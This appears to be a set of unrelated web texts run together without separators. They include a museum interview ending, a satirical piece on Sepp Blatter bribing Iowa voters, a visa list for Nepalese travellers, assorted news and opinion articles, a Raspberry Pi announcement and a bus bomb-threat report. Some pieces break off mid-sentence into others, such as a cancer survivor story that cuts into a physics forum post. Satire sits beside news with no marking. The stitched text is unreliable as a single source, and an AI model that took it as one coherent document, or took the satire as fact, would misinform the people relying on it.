JV: Thank you. I appreciate your questions and this opportunity to talk about The Lost Dhow.
Although I am not involved in the next show, a pair of exhibitions: Visions of Mughal India: The Collection of Howard Hodgkin and Inspired by India: Paintings by Howard Hodgkin, opening in February 2015. The lifelong fascination with India by British artist Howard Hodgkins (1932-) will, I am sure, open other windows for Aga Khan Museum visitors.
A richly illustrated publication, Tang Treasures and Monsoon Winds, written by Simon Worrall and published by the Aga Khan Museum, accompanies the exhibition.
John Vollmer, Guest Curator for the Aga Khan Museum’s presentation of this exhibition, is an independent curator and scholar specializing in Asian art, textiles, decorative arts, and design. He is a former director of the Design Exchange in Toronto and Kent State University Museum in Ohio. He was Senior Curator of Fine and Decorative Arts at the Glenbow Museum, Calgary and has held curatorial positions in the Far Eastern Department and the Textile Department at the Royal Ontario Museum, Toronto. Vollmer is President of Vollmer Cultural Consultants Inc., based in New York City.
All images featured in this interview have been attributed to their respective owners. Images lent to the Ancient History Encyclopedia by the Aga Khan Museum and Mr. John Vollmer have been done so as a courtesy for the purposes of this interview and are copyrighted. (Copyright © Asian Civilisations Museum, Singapore. Photo by John Tsantes and Robert Harrell, Arthur M. Sackler Gallery.) Unauthorized reproduction prohibited. A heartfelt thank you is extended to Ms. Ms. Jackie Koffman, Publicist at Holmes PR, for helping arrange this interview. Special thanks is also extended to Ms. Karen Barrett-Wilt, who assisted in the editorial process. The views presented here are not necessarily those of the Ancient History Encyclopedia. All rights reserved. © AHE 2015. Please contact us for rights to republication.ZURICH—fresh off his re-election as head of FIFA, Sepp Blatter today announced that he was entering the Republican presidential primaries, promising a “new era of murkiness” and offering everyone who votes for him in the Iowa caucuses $2.5 million in cash.
“After my tremendous successes in cleaning up world soccer, the logical next step is to break the deadlock in Washington,” said Blatter at a hastily-called press conference here. “And what better way to do that than through paper bags of cash?”
Blatter, whose 17-year tenure as FIFA president has been accompanied by controversy and corruption, said that he expected to resolve all those problems “shortly” in order to free up his time to visit early-voting states. “The diners in New Hampshire, the Iowa state fair with all its curious fried foods—I will conquer them all,” said Blatter. “I expect to sweep to victory on the basis of my solid support among tiny, corrupt nations, who I would imagine must control a majority of these so-called caucuses.”
Blatter did not speculate on his plans for the general election yet. “First, I will defeat all of these Republicans,” he said. “Then, outer-space soccer. Then the general election. It is all no problem. I am a mountain goat.”
Each voter will receive a pile of money “about this wide,” according to Blatter.
AdvertisementsHere is a list of the countries around the world where Nepalese citizens can travel without a visa or can obtain visa on arrival with Nepalese passport.
Asia
Bangladesh, 90 days visa on arrival
India, Unlimited stay
Cambodia, 30 day visa on arrival
Maldives 30 days visa on arrival
Myanmar, 28 days visa on arrival
Pakistan, 30 days visa free
Philippines, 21 days visa free
Sri Lanka, 30 days visa on arrival
Syria, 15 day visa issued on arrival
Singapore, 30 days visa on arrival
Timor-Leste, 30 day visa issued on arrival
Africa
Burundi, 30 days visa on arrival
Cape Verde, visa on arrival
Comoros, visa on arrival
Djibouti, 30 days visa on arrival
Egypt, 30 day visa on arrival
Kenya, 3 month visa on arrival
Madagascar, 90 day visa on arrival
Mauritania, 30 days visa on arrival
Mauritius, 60 days visa on arrival
Mozambique, 30 days visa on arrival
Rwanda, Visa on arrival
Seychelles, 30 days visa on arrival
Tanzania, 90 days visa on arrival
Togo, 7 day visa on arrival
Uganda, 90 days visa on arrival
Zambia, 90 days visa on arrival
Rest of the World
Armenia, 120 days visa on arrival
Dominica, 21 days visa on arrival
Haiti, 90 days visa on arrival
Bolivia, 90 days visa on arrival
Saint Vincent and the Grenadines, 30 days visa on arrival
Cook Islands, 31 days for free
Federated States of Micronesia, 30 days for free
Niue, 30 days visa on arrival
Palau, 30 days visa on arrival
Samoa, 60 days permit on arrival
Tuvalu, 30 days on arrival
Please check the concerned authority before making the travel plan. Some countries only provide ‘Visa on arrival’ if you travel only from Nepal or if you travel to certain airports. Moreover, visa on arrival is generally costs more. The rules change frequently.WestConnex: Labor will honour $3.5 billion for Sydney freeway project, Bill Shorten says
Updated
Federal Opposition Leader Bill Shorten has confirmed a Labor government would honour the Commonwealth's funding commitment to the WestConnex project.
Mr Shorten clarified Labor's position after the Federal Government seized on comments made by the Opposition's Transport and Infrastructure spokesman, Anthony Albanese, at a community meeting over a week ago, that Labor would not provide any money for the construction of the 33-kilometre motorway.
The $16.8 billion project to widen the M4 and connect it to an extended M5 is unpopular in Mr Albanese's electorate of Grayndler in Sydney's inner west. The seat is also being challenged by Greens candidate Jim Casey, who opposes WestConnex.
The Commonwealth has committed a $2 billion loan and a $1.5 billion grant for the construction of the motorway.
Federal Minister for Major Projects Paul Fletcher said not all of the $3.5 billion had been handed over, so that money would be in jeopardy if Labor won the election.
"More than $2 billion of this remains to be paid, and if Mr Albanese becomes the Minister, he has said not one federal dollar for WestConnex... so this is bad news for the people of western and south-west Sydney," he said.
"They're turning their backs on the people of western and south-west Sydney and on this vital project and it's because Mr Shorten and Mr Albanese are chasing inner-city Greens votes in electorates like Grayndler."
But Mr Shorten said the federal funding had been finalised and he would not change the agreement if Labor won the election.
"The funding has already gone and Labor won't repudiate any contracts, full stop," he said.
"We do support WestConnex. We're determined to act on the congestion which confronts motorists and workers coming from the western suburbs to Sydney every day.
"But we have also said, both Anthony and I, that the WestConnex project isn't satisfactory in that it doesn't go to the port and the city. We've also said that the communities affected by it should be diligently consulted."
Yesterday, several thousand people gathered at Sydney's Town Hall to voice their concerns over a number of city projects, including the WestConnex freeway.
Topics: government-and-politics, federal-government, elections, federal-elections, sydney-2000, nsw, australia
First postedAn Atlanta gym owner banned police officers and military members from working out at his facility because they make the largely minority membership uncomfortable.
Jim Chambers put up a sign on the door of EAV Barbell Club that used an expletive to announce that police aren’t welcome there.
‘Do whatever the hell you want, correctly, execpt crossfit cultism. No f**king cops,’ the sign reads.
{snip}
The sign drew attention after a military veteran became offended when he saw it outside the gym.
A photo of the sign was also posted to the gym’s Instagram with the caption: ‘We simplified our membership policy.’
Despite the backlash, Chambers says he still stands by the message it conveyed.
{snip}
Chambers said he’s taken the sign down due to its vulgarity, but plans to replace it with a clean version.
{snip}
Original Article
Share ThisDefying the Odds, Living With Cancer and Loving Broadway With My Daughter: A Reader's Story
On the heels of Broadway actress Krysta Rodriguez's announcement that she was diagnosed with breast cancer at age 30, a Playbill reader shares his story about living with lung cancer and the healing power of theatre.
Richard Heimler, 55, is an 11-year survivor of lung cancer and the father of two children: Michael, 27, and |
excellent summary is by Quincey and Brown at https://arxiv.org/ftp/arxiv/papers/1604/1604.02373.pdf.
But their list misses a key one:
C. H. Page, J. Research National Bureau of Standards 65 B (Math. and Math. Phys.) No. 4, 227-235; (1961). http://nvlpubs.nist.gov/nistpubs/jres/65B/jresv65Bn4p227_A1b.pdf
It appears that most of my work above is a rediscovery of Page’s:
Result Page in “Page” Cross product has angular dimension, dot product does not 231 ##\Theta^2=1## Appendix 2 sine has angular dimension, cosine does not Appendix 2 solid angles have angular dimension (i.e. not squared) Appendix 2 whole cycles, as a unit, are dimensionless Appendix 3
Curiously, Page drew attention to the difficulty posed by ##e^{i\theta}=\cos(\theta)+i\sin(\theta)##, but overlooked the remedy of assigning angular dimension to ##i##.
He did not consider Planck’s constants.China doesn't want to be the world's technology manufacturer; it wants to displace Silicon Valley as the world's technology innovator.
March 15, 2017 5 min read
Opinions expressed by Entrepreneur contributors are their own.
President Trump has drawn a bullseye on Beijing, threatening to slap tariffs on U.S. imports and label China a currency manipulator, all in an effort to improve our trade imbalance and bring manufacturing jobs back to America. He may be targeting the right country but waging the wrong war.
China may be the world’s technology manufacturer, but Beijing has its sights set much higher than that. China aims to be the world’s technology innovator, as well.
No longer content to simply assemble high-tech products, China now wants to create them. It wants to imagine them, design them, make their building blocks and own their intellectual property. Even if Trump wins his trade war, the U.S. may very well lose something far more critical: its entrepreneurial leadership in technology.
Related: China Is a Problem, But Higher Tariffs Are Not the Solution
All tech-heavy products are made in four basic steps: Prototypes are developed. Software code is written. Production units are designed, components and subsystems are specified. Finally, the finished product is assembled and tested.
Most of today’s tech companies own the first three steps. That’s where the innovation, the entrepreneurial risk and the value is. While some design is outsourced, American companies still retain the intellectual property rights. They carry the startup and venture capital risk, and they own the brand of the finished product.
Until recently, Chinese companies were limited to the final step: assembly and test. Not any longer, and the change is happening at lightning speed. Over the past decade or so, China has incubated thousands of startups and launched dozens of government-backed venture capital firms with funds rivaling the size of those on Silicon Valley’s famed Sand Hill Road. Chinese companies are innovating in electric vehicles, drones, smart devices, fintech and ecommerce.
Related: How Your Small Business Can Sell in China Today
While more than half of the world’s unicorns -- venture-backed companies valued at $1 billion or more -- are American companies, nearly a quarter of them are now from China, including four of the top seven by valuation, according to research firm CB Insights.
Western nations may think they’re clean-tech pioneers, but more electric cars are actually made and sold by local companies in China than the rest of the world combined.
Last August, Uber gave up on the China ride-hailing market, selling its local unit to archrival Didi Chuxing, which is backed by China’s three internet giants: Alibaba, Tencent and Baidu.
Alibaba, whose 2014 IPO was the biggest in history, moves far more merchandise than Amazon.
Samsung and Apple may be the two biggest global smartphone makers, but rounding out the top five are Huawei, Oppo and Xiaomi, which together share almost 20 percent of the market. They’re all based in China.
Semiconductors have long been China’s Achilles heel, but a January report by the Obama administration highlighted a $160 billion program by Beijing to acquire advanced chip technology, subsidize domestic production and make China a global leader in semiconductors by 2030.
Most astonishing to those who spend time in the sprawling technology hubs of Beijing and Shenzhen is the attitude of the locals. China’s entrepreneurial culture is more aggressive and competitive than ours. Its people are hungrier and work harder than their western counterparts. Its startups scale much faster than ours do. China has a rapidly expanding, upwardly mobile middle class that’s hungry to consume a virtually unlimited supply of hot new products designed and made by local companies.
Don’t get me wrong. The Trump administration is right to be concerned with trade deficits, manufacturing jobs, currency manipulation and intellectual property theft. Those are big issues that we should deal with sooner rather than later, but make no mistake -- China’s intentions go way beyond its current role as the world’s biggest manufacturer and consumer of technology goods and services.
Beijing aims to own the core technology, the design, the chips, the hardware, the software and the brands of the final products. It wants the intellectual capital. It wants the value. It wants to displace Silicon Valley as the entrepreneurial capital of the world. In time, it just may succeed.
Related: Trump Won't Destroy Silicon Valley
As The Great One, Wayne Gretzky learned from his father, you want to skate to “where the puck is going, not to where it has been.” That’s exactly what China is doing. By focusing on where China’s been, instead of where it’s going, Donald Trump may win his trade war but end up losing something far more precious: America’s dominance in technology.U.S. Sen. Charles Schumer is urging federal regulators to look into a "snortable chocolate" powder, saying he's worried that it could prove harmful and is being marketed like a drug.
In a letter Saturday, the New York Democrat asked the Food and Drug Administration to investigate the use of caffeine in inhalable food products such as so-called Coco Loko. It's gotten buzz in recent weeks.
Schumer, the Senate minority leader, says there are too many unanswered questions about a product pitched under the innocent-sounding name of chocolate.
"This suspect product has no clear health value," he said in a statement. "I can't think of a single parent who thinks it is a good idea for their children to be snorting over-the-counter stimulants up their noses."
People are now snorting chocolate to get high
Marketed as "raw cacao snuff," Coco Loko includes cacao powder, which comes from beans used in making chocolate; they contain some caffeine. Manufacturer Legal Lean Co. doesn't detail other ingredients online, but according to news reports, Coco Loko also includes common energy-drink ingredients.
It promises feelings of well-being, mental focus, ecstasy-like euphoria and a rush of "motivation that is great for partygoers to dance the night away without a crash," according to Orlando, Florida-based Legal Lean's website. It notes that the claims haven't been vetted by the FDA.
The agency has said it hasn't yet determined whether it has authority to regulate snortable chocolate.
Legal Lean Co., which sells Coco Loko online for $19.99 for a 1.25-ounce (3.5-gram) tin, did not return a call seeking comment. Founder Nick Anderson has said he didn't consult any medical professionals but believes Coco Loko is safe. He said he developed it from snortable chocolate that's circulated in Europe in recent years.
"There's really no negative publicity, so I felt we're good to go," he told ABC's "Good Morning America" on Thursday.
Doctors have said they're not certain what the effects of inhaling chocolate might be.
Sign up for BREAKING NEWS Emails privacy policy Thanks for subscribing!Conservative students at Trinity University were harassed by fellow students while promoting an upcoming Dinesh D’Souza event.
Jonah and Manfred Wendt, members of the “Tigers for Liberty” student group, distributed posters to dorms promoting an event entitled “What’s So Great About America?” hosted by Young Americans for Freedom.
“Once again liberals show how tolerant they are for ideas that are not their own.”
[RELATED: Gonzaga: Making D’Souza event public could disrupt ‘supportive learning environment’]
Upon returning to their dorm later in the day, they found all of the flyers returned and vandalized, along with two notes reading “Dear Wendts [sic], keep your propaganda to yourself. We don't like it in our faces,” and “I knocked but you weren’t here. I found your lost stuff and figured I’d return it. Have a good day.”
Jonah Wendt and his fellow club members distributed the flyers once again, but when he arrived back at his dorm room he found the flyers returned again, with answers to the question in the event’s title written in colored marker.
Among the things that Wendt’s classmates identified as being “great” about America were “pot,” “trans bathroom rights,” and “ending white privilege.”
“We’re okay If [sic] you make yourselves look bad, However [sic] when you bring controversial speakers to Trinity and put Trinity in a bad light. [sic] It effects [sic] all of our own reputations and makes all of us look bad” another note said. “We work hard to keep our reputations looking nice and we don’t need you messing them up.”
Accompanying the notes were two American flags turned upside down outside of Wendt’s doors.
Wendt claimed that the flags, which were hung outside the doors, were frequently turned upside down towards the beginning of the school year until the hall manager sent out an email asking for students to stop touching the flags, and that the activity has since resumed in response to the D’Souza event.
[RELATED: Students condemn D’Souza for his ‘hateful rhetoric’]
“These leftist intimidation tactics will not phase us,” Jonah Wendt, the field director of the Tigers for Liberty chapter, told Campus Reform. “Once again liberals show how tolerant they are for ideas that are not their own.”
Wendt said the event will go on as planned on March 7th at 7:00 PM, with doors opening at 5:30 PM.
Follow the author of this article on Twitter: @kassydillonThere’s hardly a more prominent financial product in America today than the almighty credit card. Nearly everybody has at least one — almost 80% of consumers in 2008, according to the Federal Reserve Bank of Boston — and many use it on a daily basis. Without a doubt, there are also those consumers who know their credit card numbers by heart (makes online shopping and booking travel so much easier, if anything). But how many of you know what those numbers really mean? Contrary to what you may think, they aren’t random. Those 16 digits are there for a reason and, knowing a few simple rules, you could actually learn a lot about a credit card just from its number. This infographic shows you how to crack that code.
Want to do some more code cracking? Check out Decoding Your Car’s VIN Number.
For more personal finance visualizations see byJess.net.
RelatedUpdate 8/22/16: This article has been updated to reflect new information from the city permit service center.
Two longtime local staples — vegan restaurant Herbivore and candy store Michelle’s Yogurt and Sweets — have closed in Berkeley.
After 10 years of business, Downtown Berkeley’s Herbivore announced its closure in a post on the business’ Facebook page Thursday.
According to the Facebook post, the restaurant’s other location in San Francisco will remain open for a couple of weeks. Berkeleyside has reported, however, that the San Francisco restaurant also appears to be closed.
Herbivore, located at 2451 Shattuck Ave., is not the first longstanding vegan business to close in Berkeley. In December, Cafe Gratitude closed after nearly a decade of service on Shattuck Avenue.
The owner of Herbivore could not be reached for comment, and it’s unclear what the space will become.
Michelle’s Yogurt and Sweets opened in 1997 and closed several months ago according to multiple workers in the Telegraph Channing Mall, where the store was located. According to city permit records, a new tea and yogurt shop is headed to the space the store formerly occupied.
Located at 2430 Durant Ave., the space is currently being renovated, and city permits show that the space is owned by the university. The property, however, is actually owned by the city of Berkeley, said city permit service center coordinator Pamela Johnson, adding that the contractor of the permits erroneously named the university as the owner.
Neither a university real estate spokesperson nor the owner of Michelle’s Yogurt and Sweets could be reached for comment, but according to a worker in the mall, the closure is due to the owner’s retirement.
Alexandra Yoon-Hendricks is the city news editor. Contact her at [email protected] and follow her on Twitter at @ayoonhendricks.Irrespective of what rallying cries, signs or adapted hashtags proclaim, Muslim lives in America don't matter. The aftermath of the murder of the three American students in Chapel Hill, and the broader context that spurred it, reconfirms this brutal truth.
The three victims - Deah Barakat, 23, his wife Yusor Mohammad, 21, and her sister Razan Mohammad Abu-Salha, 19, were killed at approximately 5:11pm on Tuesday. The identity of the killer, Craig Stephen Hicks, 46, was revealed roughly seven hours later.
Despite the release of these facts, and probative evidence that the executions were likely a hate crime, national media outlets remained silent. History affirms that a reversal of racial and religious identities - an Arab and Muslim culprit and white victims - would have spurred immediate media attention, on a national and global scale. However, given that Barakat and the Abu-Salha sisters were Arab and Muslim, the media lagged to cover the story.
In addition to media devaluation of Muslim lives, state-sponsored government policies targeting Muslim Americans affirm the conflation of Muslim identity with a terrorist threat. Institutional policy, in the form of state surveillance, profiling and counter-radicalisations programming, tie Muslim identity to suspicion and subversion, which emboldens the hate-fuelled violence inflicted by private citizens, like Hicks.
Between media misrepresentation and neglect, and systematic state surveillance and suppression of Muslims, the facts in the US lead to the undeniable conclusion that Muslim lives don't matter.
'Muslim villains'
It is perhaps fantasy to expect the same outlets that repeatedly misrepresent Muslims to pivot swiftly and rush to cover their victimhood. The Charlie Hebdo attack in early January, and the string of crises involving Muslim culprits before it, affirms the assessment that "Muslim lives are only newsworthy when they are behind a gun. Not in front of it".
However, the "three victims were American citizens" sympathisers cried. Or, "upward-bound students with bright futures, and pristine records". Two of them, Deah and Yusor, were newlyweds, only four weeks separated from their wedding. A life together, with kids and a white picket fence, was in their horizon.
Neither citizenship nor conventional measures of American achievements insulated the victims from hate. They were Muslims. That marker mattered most. Muslim identity trumped, and very likely for Hicks, eclipsed the three victims' American-ness.
Their religion mattered most for US media outlets as well, who lagged to cover the story... leaving Muslims to wonder: if the victims were white and non-Muslims, and the culprit Muslim, would mainstream media outlets be so slow to respond and report?
Their religion mattered most for US media outlets as well, who lagged to cover the story.
CNN, Fox News, and MSNBC finally released stories of the murders Wednesday morning: More than 12 hours after the three young adults' lives were taken leaving Muslims to wonder: If the victims were white and non-Muslims, and the culprit Muslim, would mainstream media outlets be so slow to respond and report?
No. Muslims lives only matter when they're villains. Not victims. This is reaffirmed by news story after news story, and distorted accounts that tab "parking disputes" instead of hate as the primary motives of murder.
When state policy drives micro-violence
State-run programming targeting Muslims marks members of that demographic as presumptively suspicious. NSA surveillance and counter-extremism programming, PATRIOT and Suspicious Activity Reporting strategies, are shaped within government walls. But these policies also shape stereotypes and spur violence far beyond them.
This comprehensive programming, which is both synchronised and expanding, is built upon age-old perceptions of Muslims as "enemy combatants", "national security risks", and "unassimilable".
Past laws that restricted the naturalisation of Muslims were built upon racist and Orientalist tropes. However, state policies that profile and persecute today are still based on these very baselines.
In addition to enabling discriminatory state tactics, anti-Muslim laws and programming sanction widely held stereotypes of Muslims as violent and unruly, threatening and anti-American. By endorsing these stereotypes, this network of anti-Muslim laws and programming embolden private citizens, like Hicks, to take justice into their own hands.
It would be a misnomer to single out anti-Muslim laws and policies as spurring Islamophobic and anti-Arab culture. Rather, it pronounces this already existing psychosis, which is magnified by slanted news coverage and cinematic misrepresentations, illustrated vividly in films such as American Sniper.
However, these laws and programmes are not the products of a Hollywood studio. Nor are they delivered by a CNN or Fox News anchor. They are shaped and enacted by statesman within the hollowed halls of government. Affixing per se vilification of "Muslim Americans" with the state seal of approval that stirs Islamophobia on the ground, and spurs unspeakable violence atop it.
From the vantage point of the state, Muslims lives matter when they are subjects of surveillance, or targets of counter-extremism; not direct, or indirect, victims of these policies.
Taking on hate
Media lags and state laws vividly reveal that Muslims lives don't matter. However, Muslim Americans cannot afford to stand idly by.
The Campaign to TAKE ON HATE, led by the National Network for Arab American Communities, a project of ACCESS, has been working with communities across the country to organise prayer vigils, lead educational workshops, and organise within the very communities where Arab and Muslim Americans are at greatest risk.
From California to New York, Michigan to Florida, citizens are coming together with their local communities to not only mourn the lives tragically lost on Tuesday, but to coordinate plans to counter government profiling, private discrimination and violence, and their nefarious intersection.
If halls of American power echo, time and again, that Muslim lives don't matter, the strongest rebuttal must come from Muslim Americans themselves. A rebuttal that goes beyond rallying cries, signs and hashtags. And proclaimed through sustained action, and en mass mobilisation against halls of power that systematically strip Muslims lives of value.
Khaled A Beydoun is an assistant professor of law at the Barry University Dwayne O Andreas School of Law.
Nadia El-Zein Tonova is director of the National Network of Arab American Communities, and the Take On Hate Initiative.
The views expressed in this article are the author's own and do not necessarily reflect Al Jazeera's editorial policy.VATICAN CITY (Reuters) - Pope Francis has warned against the risk that militants could slip into Europe under cover of a huge wave of refugees fleeing war in Syria but also said the migrant crisis could help reawaken the continent’s conscience.
Pope Francis waves the faithful during his Sunday Angelus prayer in Saint Peter's square at the Vatican, September 13, 2015. REUTERS/Giampiero Sposito
In an interview published on Monday with the Portuguese Catholic broadcaster Radio Renascenca, the pope referred to the risk that Islamic State, which has killed Christians and other minorities in the Middle East, could launch attacks in Europe.
“It’s true, I also want to recognize that, nowadays, territorial security conditions are not the same as they were in other periods (of mass migration),” he said in the interview.
“The truth is that just 400 kilometers (250 miles) from Sicily there is an incredibly cruel terrorist group. So there is a danger of infiltration, this is true.”
Security specialists have said the risk that militants could be smuggled into Europe in this way is small.
Asked if Rome could be the target of an attack, the pope said: “Yes, nobody said Rome would be immune to this threat. But you can take precautions...”
Islamic State militants have made threats against Catholic targets in Rome that have been widely reported and security has been stepped up in the Vatican City and other religious sites in Italy that draw many pilgrims and tourists.
On Sept. 6, the pope appealed to every Catholic parish, religious community and sanctuary in Europe to take in a family of refugees, saying he would set the example by hosting two families in parishes inside the Vatican..
“These poor people are fleeing war, hunger, but that is the tip of the iceberg. Because underneath that is the cause; and the cause is a bad and unjust socioeconomic system...” he said in the interview.
Asked if the refugee crisis could be a positive occasion for Europe and a re-awakening of the continent’s conscience, the pope said “it could be”.Cavaliers Should Want To Avoid Miami Heat by Zack Geoghegan
George Hill has made the Utah Jazz a top-four seed in the NBA’s loaded West but his recent play will see them become a first-round knockout.
George Hill isn’t the best player on this Utah Jazz team — that’s for Gordon Hayward and Rudy Gobert to squabble over.
Hill isn’t the leader nor is he the focal point for an opposition defense.
The 30-year-old point guard is the glue.
When the Jazz are at their best, they are in the conversation of genuine threats to the top-heavy Western Conference. When Hill is at his best, the Jazz are the best versions of themselves.
Joe Ingles and Dante Exum can have solid games.
Rodney Hood and Joe Johnson can produce game-winning performances.
Those exceptions aren’t regularly needed when an at-the-top-of-his-game Hill is the rule.
With the added stability Hill brought to the position from the Indiana Pacers at the beginning of the season, the Jazz have jumped from ninth in the standings at the end of 2015-16 to fourth as the 2016-17 playoffs approach.
The Jazz have achieved that by being one of the best defensive teams in the league. While that’s largely due to Gobert’s possible award-winning season, Hill has made a habit of playing great team defense.
His 100.8 defensive rating is the second best in the league among starting guards that have played at least the same number of games (47) that Hill has.
When Hill is off the court, the defensive rating as a team jumps to 103.5.
His on/off court numbers further prove his value offensively.
The Jazz are scoring 109.2 points per 100 possessions with Hill on the floor — the same as All-Star reserve Hayward. Those 109.2 points with Hill on the floor is good enough for Jazz to score the eighth-most points per 100 possessions in the league.
He’s the player the Jazz needed to make the leap, but Hill hasn’t been his best since the beginning of March, right around the time his contract extension negotiations stalled.
Scoring 17.5 points on 47.5 percent shooting from the field and 41.4 percent from beyond the three-point line, Hill was on fire in February while his agent and the Jazz front office attempted to extend his stay in Utah.
In the 12 games he’s played since the extension deadline, Hill is only scoring 14.3 points on 43.9 percent shooting — with his three-point percentage dropping to 31.6 percent.
It’s unfair to put the blame solely on his failed contract negotiations, but it’s willfully ignorant not to consider the impact the unsuccessful meetings may have had.
Is Hill disappointed the team didn’t do more to ensure he remains in Utah?
Was he asking for an overpay knowing he would be quite happy to walk should the front office decline?
I don't fault Hill for wanting to explore free agency. But will he indeed get a better offer than that? Why would a team offer him a max? — David J. Smith (@davidjsmith1232) April 4, 2017
The proof of the pudding is in the eating and Hill certainly isn’t feasting like he once was this season.
Last week Gobert challenged his teammates to improve and play as a unit, suggesting some players were out for themselves of late, telling ESPN:
“We’ve got guys that compete, but some of us don’t compete. Some of us just think about scoring,”
Hill played decidedly average that night shooting 4-of-11 and finishing with a minus-29 plus/minus, prompting suggestions the comment was targeting him.
Whether the statement was voiced in Hill’s direction or not, the Jazz need their point guard back.
Jostling for the fourth seed and home court advantage against the Los Angeles Clippers, Hill might hold the key to that series in his matchup with future Hall of Famer Chris Paul.
His 14 points and 43.9 percent shooting isn’t going to cut it. Gobert and Hayward already have their hands full without picking up Hill’s slack.
With four games left in the regular season, Hill needs to find his mojo.
He needs to be the glue that sticks this team together.Eddie Berganza has been with the company since the 1990s.
Multiple ex-employees of DC are publicly accusing veteran editor Eddie Berganza of sexual assault.
Three women, two on the record and one unnamed, shared allegations in a BuzzFeed story published Friday in which they described instances of Berganza forcibly kissing or groping them. Rumors of misconduct had long followed Berganza, who has been with the company since the 1990s.
Liz Gehrlein Marsham was 29 in 2006, when she said Berganza kissed and groped her, three weeks into her new job at DC. The alleged incident occurred at a bar in New York called McGee's, where DC employees often hung out. She continued with the company for six years, but said she was "physically ill from being stressed all the time" by the end of her time with the company, due to the situation with Berganza.
Cartoonist Joan Hilty, then in her 30s, said she had a similar experience at McGee's in the early 2000s.
"I said no — he kept insisting," said Hilty, eventually telling him, "If you don't take that arm off me, I'm gonna break it."
In 2010, former DC editor Janelle Asselin organized a multiple-employee complaint to the company's HR department about Berganza.
"I worried every time we had a new young intern come into the office that was female," Asselin told BuzzFeed. "I just became very concerned with what he was going to do next. The more stories I started to hear from other people, the more I started to feel this was a compulsion, that he couldn’t stop if he had tried, and he wasn’t trying to stop. That scared the shit out of me."
Berganza continued to rise through the ranks and was named executive editor later in 2010. But in 2012 at WonderCon, Berganza allegedly kissed another woman by force, and that incident was reported by Bleeding Cool. Shortly after that alleged incident, DC demoted Berganza from executive editor to group editor.
A DC representative told The Hollywood Reporter the company could not comment on private matters.
"DC and WB are unequivocally committed to cultivating a work environment of dignity and respect, one that is safe and harassment free for all employees," the rep told THR. "We take all claims of harassment very seriously and investigate them promptly. Employees found in violation of the policies are dealt with swiftly and decisively, and subject to disciplinary actions and consequences."
THR was unable to reach Berganza, and he did not respond to BuzzFeed's request for comment.
Nov. 12, 3:23 p.m. DC has suspended Berganza, the company said in a statement Saturday: "There will be a prompt and yet careful review into next steps as it relates to the allegations against him, and the concerns our talent, employees and fans have shared. DC continues to be extremely committed to creating a safe and secure working environment for our employees and everyone involved in the creation of our comic books," said the company.On Saturday, Glenn Beck came to Seattle to speak at Safeco Field (where the Mariners play baseball). I went to the protest and brought my camera. Some people paid up to $500 (which included a photo of them shaking hands with Beck). The common people paid $15 to sit up in the stands. Seniors and students had a discount. Oh, and the concession stands weren’t open, but box lunches were available for a fee.
After the reception, the lunch, the speech, and the book-signing (all of which had a price tag), Glenn Beck was going about 60 miles north to get the key to the city from the mayor of Mount Vernon, WA. Additional protests were planned for Mount Vernon.
Here’s a link to the Seattle Times article: Glenn Beck's Seattle event draws a few dozen protesters. They say 30 protesters, but I'm sure there were more.
More below the fold.The GOP’s fav/unfav rating in the poll now stands at 30%/45% (minus-15), which is down from 36%/43% (minus-7) right before the election. That’s compared with the Democratic Party’s 44%/35% rating (plus-9). And other than self-described Republicans and conservatives, just two other groups have a net positive view of the GOP: folks who live in rural America (39%/33%) and folks who live in the South (39%/38%), that’s it. What’s more, asked to give a word or short phrase to describe the Republican Party, 65% offered a negative comment, including MORE THAN HALF of Republicans. The top responses: “Bad,” “weak,” “negative,” “uncompromising,” “need to work together,” “broken,” “disorganized” and “lost.”
Some revealing numbers From the new NBC/Wall Street Journal poll For context, that 65 percent figure is nearly twice the 37 percent who gave a negative word or phrase to describe the Democratic Party. And while the poll shows President Obama with his best approval rating in nearly two years (53 percent approve and 43 disapprove), just 19 percent have a positive view of John Boehner.
The Democratic advantage isn't just about personal popularity or partisan preferences, however. Not surprisingly, 65 percent of poll respondents prefer a compromise to cut spending and raise taxes to the automatic cuts and increases of the so-called fiscal cliff. What is surprising is that 66 percent of Republicans agree with this position, according to NBC internals reported by Greg Sargent. Overall, more than 76 percent say they would support a deal that included a tax increase on income above $250,000.
And stepping away from the spectacle that is the fiscal cliff, voters side with Obama on the tax issues looming before Congress. Sixty-eight percent say voters gave him a mandate to extend current rates on all income below $250,000 and 59 percent say he has a mandate to let the Bush tax cuts on income above $250,000 expire.
The poll of American adults was conducted from Dec. 6-9 with a margin of error of 3.1 percent.By now I hope many of you have had a chance to play with NOOBS, the new out of box software we released back at the start of June. Although originally aimed at providing a better experience for newcomers to the Pi, we now reckon NOOBS is the best way for almost everyone to get the most out of their Pi.
With this in mind, from today our partners RS Components and element14 will be offering an optional 8GB NOOBS SD card with every new Model A or Model B Raspberry Pi, for only $5.
We designed the Pi so that pretty much all the extras you need can be found around the house: there’s not much point in making a $25 computer if your customers need to go out and buy $100 of accessories to use it. Most people can rustle up an old TV, a small SD card and a mobile phone charger. But we’ve noticed that not everybody has access to a large enough card to take advantage of NOOBS, or to a device which can write to SD cards. Fast, pre-programmed, high-capacity cards like the Samsung ones we’re bundling (and which have turned out to be our favourite cards in testing; they’re optimised for random read/write behaviour, unlike many cards which are designed for the large continuous reads and writes that digital cameras make) have been the best-selling Pi accessory offered by our partners since launch, so we’re expecting a lot of you to take us up on this offer.
$5 is an incredible deal for a fast 8GB card. (Just Google how much these cards usually sell for with nothing on them.) We’d like to thank our partners, and our friends at Samsung, xel and Cardwave for pulling out all the stops to make this happen.
A note on SD card nomenclature. The card we’re offering here is rated as Class 4 – in some metrics, Class 4 means slow. This is not the case with this card, which has outperformed many Class 6 and Class 10 cards in our tests – classification seems not to correlate well with random read/write performance. Samsung’s unusual focus on random-access performance on their SD memory means that this card performs very fast and very reliably: we think you’ll be pleasantly surprised!Please enable Javascript to watch this video
LAKE COUNTY, Ohio -- A Syracuse man faces charges after a bus threat that closed Interstate 90 both ways in Lake County Friday.
Guru A. Dhimal, 28, of Syracuse, New York, faces a charge of inducing panic.
I-90 was closed in both directions between state Route 528 and Vrooman Road Friday after a threat was called in to 911 from the Greyhound bus, which was carrying about 30 passengers.
The bus was heading from Buffalo to Cleveland.
According to a 911 call, Dhimal told dispatchers that he was a member of Al-Qaeda and that a bomb was being taken to Washington, D.C., to destroy the White House.
Dhimal told the dispatcher he was on a bus in the Cleveland area. He also told the dispatcher that other terrorists were following the bus.
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**For a portion of the 911 call between Dhimal and the dispatcher, click the video player above**
After the 911 call was made, the driver pulled over. When police arrived, the bus was swept by the bomb squad and canines but no explosives were found.
